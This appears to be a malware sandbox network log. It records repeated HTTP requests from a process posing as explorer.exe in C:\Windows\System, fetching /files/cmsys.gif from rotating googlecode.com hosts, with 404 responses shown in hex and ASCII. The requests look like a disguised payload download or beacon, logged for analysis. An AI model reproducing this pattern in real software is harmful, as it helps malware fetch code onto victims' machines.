Oct 29, 2024 13:09:35.989598036 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	60685	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:37.835330009 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:38.748372078 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:38 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:38.748465061 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	60686	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:39.114418983 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:40.047117949 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:39 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:40.047192097 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	60687	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:40.258285999 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:41.190167904 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:41 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:41.190608025 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	60689	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:43.610707045 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:44.525393963 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:44.525490046 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	60690	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:44.734044075 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:45.650280952 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:45 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:45.650468111 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	60691	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:46.041263103 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:46.961796045 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:46 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:46.961813927 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:09:47.222007990 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15
Oct 29, 2024 13:09:47.224443913 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:46 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:47.224617958 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	60693	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:49.751261950 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
